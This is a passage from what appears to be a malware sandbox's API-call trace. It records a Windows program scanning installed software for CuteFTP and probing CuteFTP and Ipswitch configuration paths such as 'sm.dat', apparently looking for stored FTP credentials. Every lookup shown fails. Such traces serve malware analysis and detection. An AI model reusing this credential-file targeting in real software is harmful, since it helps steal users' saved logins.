lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch\\*.*", lpFindFileData=0x12fc76 | out: lpFindFileData=0x12fc76) returned 0xffffffff [0068.380] LocalFree (hMem=0x626a88) returned 0x0 [0068.380] LocalFree (hMem=0x6292f8) returned 0x0 [0068.381] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.381] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.381] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc8*=0x10, cb=0x4, pcbWritten=0x12fda4 | out: pcbWritten=0x12fda4*=0x4) returned 0x0 [0068.381] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.381] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.381] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.381] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.381] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.381] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0068.381] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0068.381] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x4, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0068.381] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0068.381] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="CUTEFTP") returned 0x0 [0068.381] StrStrIA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.382] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0011-0000-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{91140000-003B-0000-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-003B-0000-0000-0000000FF1CE}\" \"{8A8F117F-8EDB-440D-B679-F08909D729F7}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0057-0000-0000-0000000FF1CE}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-0057-0000-0000-0000000FF1CE}\" \"{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}\" \"1033\" \"0\"", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0068.383] StrStrIA (lpFirst="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpSrch="CUTEFTP") returned 0x0 [0068.383] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.383] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.383] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.383] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0068.383] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x640d18 [0068.383] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.383] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0068.383] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned 52 [0068.383] lstrlenA (lpString="\\sm.dat") returned 7 [0068.383] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x640dd8 [0068.383] lstrcpyA (in: lpString1=0x640dd8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0068.383] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat" [0068.383] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3d [0068.383] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x640ea0 [0068.383] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x640ea0, nSize=0x3d | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x3c [0068.383] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.384] LocalFree (hMem=0x640ea0) returned 0x0 [0068.384] LocalFree (hMem=0x640dd8) returned 0x0 [0068.384] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned 52 [0068.384] lstrlenA (lpString="\\*.*") returned 4 [0068.384] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x640dd8 [0068.384] lstrcpyA (in: lpString1=0x640dd8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0068.384] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*" [0068.384] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.384] LocalFree (hMem=0x640dd8) returned 0x0 [0068.384] LocalFree (hMem=0x640d18) returned 0x0 [0068.384] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.384] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0068.384] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x640d18 [0068.384] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.384] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0068.384] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned 56 [0068.384] lstrlenA (lpString="\\sm.dat") returned 7 [0068.384] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x640de0 [0068.384] lstrcpyA (in: lpString1=0x640de0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0068.384] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0068.384] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x41 [0068.384] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x640ea8 [0068.384] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x640ea8, nSize=0x41 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x40 [0068.384] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.384] LocalFree (hMem=0x640ea8) returned 0x0 [0068.384] LocalFree (hMem=0x640de0) returned 0x0 [0068.384] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned 56 [0068.384] lstrlenA (lpString="\\*.*") returned 4 [0068.384] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x640de0 [0068.384] lstrcpyA (in: lpString1=0x640de0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0068.384] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0068.384] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.384] LocalFree (hMem=0x640de0) returned 0x0 [0068.384] LocalFree (hMem=0x640d18) returned 0x0 [0068.384] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.384] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0068.384] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x640d18 [0068.384] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.384] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0068.384] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned 57 [0068.384] lstrlenA (lpString="\\sm.dat") returned 7 [0068.384] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x640de0 [0068.384] lstrcpyA (in: lpString1=0x640de0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0068.384] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0068.385] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x42 [0068.385] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x640eb0 [0068.385] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x640eb0, nSize=0x42 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x41 [0068.385] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.385] LocalFree (hMem=0x640eb0) returned 0x0 [0068.385] LocalFree (hMem=0x640de0) returned 0x0 [0068.385] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned 57 [0068.385] lstrlenA (lpString="\\*.*") returned 4 [0068.385] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x640de0 [0068.385] lstrcpyA (in: lpString1=0x640de0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0068.385] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0068.385] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.385] LocalFree (hMem=0x640de0) returned 0x0 [0068.385] LocalFree (hMem=0x640d18) returned 0x0 [0068.385] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.385] lstrlenA (lpString="\\CuteFTP") returned 8 [0068.385] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x640d18 [0068.385] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.385] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP" 